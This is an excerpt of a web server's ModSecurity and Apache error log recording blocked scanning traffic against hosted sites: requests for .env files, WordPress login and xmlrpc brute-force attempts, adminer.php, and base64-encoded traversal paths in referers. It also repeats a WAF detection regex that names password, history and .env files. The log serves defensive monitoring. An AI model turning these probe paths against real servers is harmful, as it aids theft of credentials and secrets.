"/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zY9yTkdrNlD40tSG2rQAAAAw"] [Sat Jun 13 18:18:43.270042 2026] [security2:error] [pid 648189:tid 648481] [client 45.156.128.153:49194] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/bbpress/readme.txt"] [unique_id "ai3zY1WSojQL4F7upKBx3AAAAP8"] [Sat Jun 13 18:18:43.335597 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:18:43.336002 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:18:43.418252 2026] [access_compat:error] [pid 648189:tid 648275] [remote 57.141.14.49:26995] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:43.418540 2026] [access_compat:error] [pid 648189:tid 648275] [remote 57.141.14.49:26995] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:43.492386 2026] [security2:error] [pid 646876:tid 647062] [client 185.177.72.9:14810] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/token.php"] [unique_id "ai3zY9yTkdrNlD40tSG2twAAADY"] [Sat Jun 13 18:18:43.565303 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.45:55296] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:43.565573 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.45:55296] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:43.723305 2026] [security2:error] [pid 648189:tid 648328] [remote 17.241.219.96:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 96.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zY1WSojQL4F7upKBx9AAAnGk"] [Sat Jun 13 18:18:43.767911 2026] [security2:error] [pid 646876:tid 647068] [client 185.177.72.9:30404] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/tool/view/phpinfo.view.php"] [unique_id "ai3zY9yTkdrNlD40tSG2uQAAADw"] [Sat Jun 13 18:18:43.826174 2026] [access_compat:error] [pid 646876:tid 646927] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vbWljZQ== [Sat Jun 13 18:18:43.826598 2026] [access_compat:error] [pid 646876:tid 646927] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vbWljZQ== [Sat Jun 13 18:18:43.923451 2026] [access_compat:error] [pid 648189:tid 648345] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:43.923939 2026] [access_compat:error] [pid 648189:tid 648345] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:44.039548 2026] [security2:error] [pid 646876:tid 647030] [client 185.177.72.9:30408] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/tools/.env"] [unique_id "ai3zZNyTkdrNlD40tSG2wAAAABY"] [Sat Jun 13 18:18:44.175793 2026] [security2:error] [pid 646876:tid 647123] [client 185.177.72.9:30408] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Travel_form/.env"] [unique_id "ai3zZNyTkdrNlD40tSG2wwAAAHM"] [Sat Jun 13 18:18:44.310273 2026] [security2:error] [pid 646876:tid 647024] [client 185.177.72.9:30408] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ts/prime/.env"] [unique_id "ai3zZNyTkdrNlD40tSG2xgAAABA"] [Sat Jun 13 18:18:44.370994 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:18:44.371265 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:18:44.372956 2026] [security2:error] [pid 648189:tid 648443] [client 209.141.51.192:64751] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 192.51.141.209.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "lasvegasrealtor360.com"] [uri "/wp-login.php"] [unique_id "ai3zZFWSojQL4F7upKByCwAAAN0"] [Sat Jun 13 18:18:44.396317 2026] [security2:error] [pid 646876:tid 646915] [remote 198.38.95.2:56666] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 2.95.38.198.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.northsecuritysystems.com"] [uri "/xmlrpc.php"] [unique_id "ai3zZNyTkdrNlD40tSG2yQAAEyQ"] [Sat Jun 13 18:18:44.396486 2026] [security2:error] [pid 646876:tid 647027] [client 198.38.95.2:56666] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "mail.northsecuritysystems.com"] [uri "/xmlrpc.php"] [unique_id "ai3zZNyTkdrNlD40tSG2yQAAEyQ"] [Sat Jun 13 18:18:44.444735 2026] [security2:error] [pid 646876:tid 647118] [client 185.177.72.9:30408] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/tz.php"] [unique_id "ai3zZNyTkdrNlD40tSG2ygAAAG4"] [Sat Jun 13 18:18:44.553065 2026] [security2:error] [pid 646876:tid 647054] [client 210.217.96.217:45641] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zZNyTkdrNlD40tSG2zQAAAC4"] [Sat Jun 13 18:18:44.553198 2026] [security2:error] [pid 646876:tid 647054] [client 210.217.96.217:45641] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zZNyTkdrNlD40tSG2zQAAAC4"] [Sat Jun 13 18:18:44.590077 2026] [access_compat:error] [pid 648189:tid 648225] [remote 57.141.14.97:50160] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:44.590363 2026] [access_compat:error] [pid 648189:tid 648225] [remote 57.141.14.97:50160] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:44.595150 2026] [access_compat:error] [pid 648189:tid 648287] [remote 57.141.14.82:25072] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:44.595593 2026] [access_compat:error] [pid 648189:tid 648287] [remote 57.141.14.82:25072] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:44.669488 2026] [access_compat:error] [pid 648189:tid 648221] [remote 57.141.14.91:57276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:44.669767 2026] [access_compat:error] [pid 648189:tid 648221] [remote 57.141.14.91:57276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:44.715491 2026] [security2:error] [pid 648189:tid 648485] [client 185.177.72.9:30412] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/u.php"] [unique_id "ai3zZFWSojQL4F7upKByGAAAAQM"] [Sat Jun 13 18:18:44.783476 2026] [security2:error] [pid 646876:tid 647117] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/bug29150.phpt"] [unique_id "ai3zZNyTkdrNlD40tSG2zwAAAG0"] [Sat Jun 13 18:18:44.870323 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:18:44.870786 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:18:44.914337 2026] [access_compat:error] [pid 648189:tid 648331] [remote 74.7.242.16:43536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:18:44.914828 2026] [access_compat:error] [pid 648189:tid 648331] [remote 74.7.242.16:43536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:18:44.980267 2026] [security2:error] [pid 646876:tid 647124] [client 185.177.72.9:30426] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ubuntu/.env"] [unique_id "ai3zZNyTkdrNlD40tSG22AAAAHQ"] [Sat Jun 13 18:18:45.045546 2026] [security2:error] [pid 648189:tid 648426] [client 45.156.128.154:34104] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/wp-central/readme.txt"] [unique_id "ai3zZVWSojQL4F7upKByIwAAAM0"] [Sat Jun 13 18:18:45.096457 2026] [security2:error] [pid 648189:tid 648249] [remote 17.22.253.105:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 105.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zZVWSojQL4F7upKByJQAAwhw"] [Sat Jun 13 18:18:45.113049 2026] [security2:error] [pid 646876:tid 647070] [client 185.177.72.9:30426] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ui/.env"] [unique_id "ai3zZdyTkdrNlD40tSG23AAAAD4"] [Sat Jun 13 18:18:45.141305 2026] [access_compat:error] [pid 648189:tid 648281] [remote 57.141.14.52:40492] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:45.141757 2026] [access_compat:error] [pid 648189:tid 648281] [remote 57.141.14.52:40492] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:45.245490 2026] [security2:error] [pid 646876:tid 647060] [client 185.177.72.9:30426] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/unixtime/.env"] [unique_id "ai3zZdyTkdrNlD40tSG23gAAADQ"] [Sat Jun 13 18:18:45.289091 2026] [security2:error] [pid 648189:tid 648230] [remote 47.128.117.219:48746] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 219.117.128.47.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.loohan.com"] [uri "/viewtopic.php"] [unique_id "ai3zZVWSojQL4F7upKByMwAA5Ao"] [Sat Jun 13 18:18:45.335465 2026] [security2:error] [pid 648189:tid 648226] [remote 74.7.242.16:43536] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.242.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3zZVWSojQL4F7upKByNwAAswY"], referer: https://www.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:18:45.377592 2026] [security2:error] [pid 646876:tid 647045] [client 185.177.72.9:30426] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/unsplash-downloader/.env"] [unique_id "ai3zZdyTkdrNlD40tSG25AAAACU"] [Sat Jun 13 18:18:45.392086 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9kcml2ZXIvTE5YU0xQQk46MDAvcG93ZXI= [Sat Jun 13 18:18:45.392399 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 